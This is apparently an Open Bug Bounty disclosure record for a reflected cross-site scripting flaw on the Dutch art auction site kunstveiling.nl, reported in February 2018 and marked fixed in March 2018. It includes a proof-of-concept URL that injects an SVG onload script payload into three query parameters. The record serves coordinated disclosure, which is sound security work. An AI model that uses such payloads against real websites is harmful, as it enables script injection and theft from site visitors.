kunstveiling.nl XSS vulnerability

2018-02-02T05:12:00
ID OBB:551319
Type openbugbounty
Reporter ut
Modified 2018-03-04T22:29:00

Description

Open Bug Bounty ID: OBB-551319

Description| Value
---|---
Affected Website:| kunstveiling.nl
Vulnerable Application:| Custom Code
Vulnerability Type:| XSS (Cross Site Scripting) / CWE-79
CVSSv3 Score:| 6.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N]
Disclosure Standard:| Coordinated Disclosure based on ISO 29147 guidelines
Remediation Guide:| OWASP XSS Prevention Cheat Sheet

Vulnerable URL:
https://www.kunstveiling.nl/veiling-main/kunstenaar/953/-gilbert-&-george.html?page=%22%3E%3CsvG%20onLoad=prompt(%27OPENBUGBOUNTY%27)%3E5&AuctionOrder;=endasc%22%3E%3CsvG%20onLoad=prompt(%27OPENBUGBOUNTY%27)%3E&Filter;=newexcluding%22%3E%3CsvG%20onLoad=prompt(%27OPENBUGBOUNTY%27)%3E
Coordinated Disclosure Timeline

Description| Value
---|---
Vulnerability Reported:| 2 February, 2018 05:12 GMT
Vulnerability Verified:| 2 February, 2018 05:18 GMT
Website Operator Notified:| 2 February, 2018 05:18 GMT
Vulnerability Published:| 2 February, 2018 05:18 GMT[without any technical details]
Vulnerability Fixed:| 4 March, 2018 22:29 GMT
Public Disclosure:| 4 March, 2018 22:29 GMT